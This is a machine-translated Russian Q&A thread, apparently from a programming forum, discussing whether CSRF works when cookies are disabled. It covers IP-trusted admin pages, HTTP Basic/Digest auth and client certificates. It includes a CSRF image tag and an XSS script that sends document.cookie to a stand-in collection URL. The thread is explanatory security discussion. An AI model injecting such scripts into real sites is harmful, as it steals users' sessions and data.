Я изучал это в течение некоторого времени, но я не нашел ничего, чтобы удовлетворить мое любопытство. Возможно ли, как пользователь, стать жертвой атаки CSRF, если файлы cookie отключены. Очевидно, что CSRF зависит от браузера пользователей, чтобы отправлять учетные данные пользователя с поддельным запросом на законный сервер. Помимо IP-адресов, браузеры не отправляют автоматически какие-либо другие значения сеанса? В этом случае, если пользователь может войти в систему с отключенными куки, они будут защищены от CSRF даже на уязвимых веб-сайтах.Возможна ли CSRF без Cookies?
ответ
Итак, вы должны спросить себя, как сервер знает одного клиента от другого? В большинстве случаев это сеанс cookie, но есть и другие способы.
Рассмотрите приложение администратора, настроенное на работу только при доступе с локального хоста. Здесь сервер доверяет IP-адрес браузера. Теперь, если злоумышленник создает такую страницу, как <img src="http://localhost/do/something/harmful"/>
, и каким-то образом администратор может посетить его страницу, у вас есть CSRF.
Другие примеры включают злоупотребление базой Http и аутентификацией дайджеста, как уже указывал Бруно.
Конечно - просто думаю, что если взломан сайт не тереть HTML и вы ввели следующий текст в поле «Комментарий»:
<script>
var img = document.createElement("img");
img.src = "http://example.com/collect.php?val=" + escape(document.cookie);
</script>
В основном вы используете JavaScript, чтобы собрать печенье и написания значения в параметры URL тега изображения, чтобы они передавались вместе с «плохим» сервером, когда браузер пытается загрузить изображение.
Конечно, в приведенном выше примере я использую файлы cookie из «document.cookie», но в духе вашего вопроса «если файлы cookie отключены», так же легко извлечь любую другую информацию из DOM (скрытый ввод значения полей и т. д.) и отправить их в URL-адрес целевого сервера.
Существуют другие формы аутентификации, поддерживаемые браузерами, в частности HTTP Basic и HTTP Digest, а также клиентские сертификаты SSL/TLS. К сожалению, интерфейс для «выхода из системы» при использовании этих механизмов обычно довольно плох. В отличие от файлов cookie и форм, остановка использования учетных данных контролируется браузером (а не сервером и его файлами cookie), но кнопки в лучшем случае находятся в каком-то расширенном меню вообще (если они вообще существуют).
Итак, если пользователь отключает файлы cookie в своем браузере, типичными альтернативами являются HTTP-аутентификация или просто передача форм идентификатора сеанса? – grossmae
- 1. Ajax CSRF Предупреждение без Cookies
- 2. Возможна ли атака JSON CSRF/Theft?
- 3. Yii2 Csrf on выключил cookies
- 4. Fetch, set-cookies и csrf
- 5. Возможна ли SignalR без jQuery?
- 6. Возможна ли DI без управляемой кучи?
- 7. Возможна ли растеризация треугольника без баризентрических координат?
- 8. Возможна ли непрерывная ошибка?
- 9. Возможна ли модификация TextSelectionMenu?
- 10. Scalatra Session без cookies
- 11. Node.JS сеанс без cookies
- 12. authlogic без cookies, как?
- 13. XMLHttpRequest без cookies
- 14. Возможна матрица матриц без копирования?
- 15. Android TextViews. Возможна ли параметризация? Возможна ли привязка к модели?
- 16. Возможна ли замена задания?
- 17. Возможна ли переменная переменная?
- 18. Возможна ли автоматическая перегрузка?
- 19. Возможна ли «неявная перегрузка»?
- 20. Возможна ли множественная последовательность?
- 21. Возможна ли эта функция?
- 22. Возможна ли SSRS VLookup?
- 23. Возможна ли параллельная обработка?
- 24. Кража Cookies без ввода пользователем?
- 25. Возможна установка рамы без лазури?
- 26. Youtube IFrame API без cookies
- 27. Devise token_authenticatable без cookies сеанса
- 28. yii Csrf Cookies Token, почему перевод на почту?
- 29. Угловые и PHP JWT и CSRF (XSRF) Cookies
- 30. Использует ли Highcharts Cookies?
IMO, если браузер жертвы имеет активный сеанс или токен доступа (через WebStorage, куки, ОЗУ и т. Д.), CSRF будет проходить, предположив, что на сайте не используются токены синхронизации, направленные на предотвращение CSRF. – Zack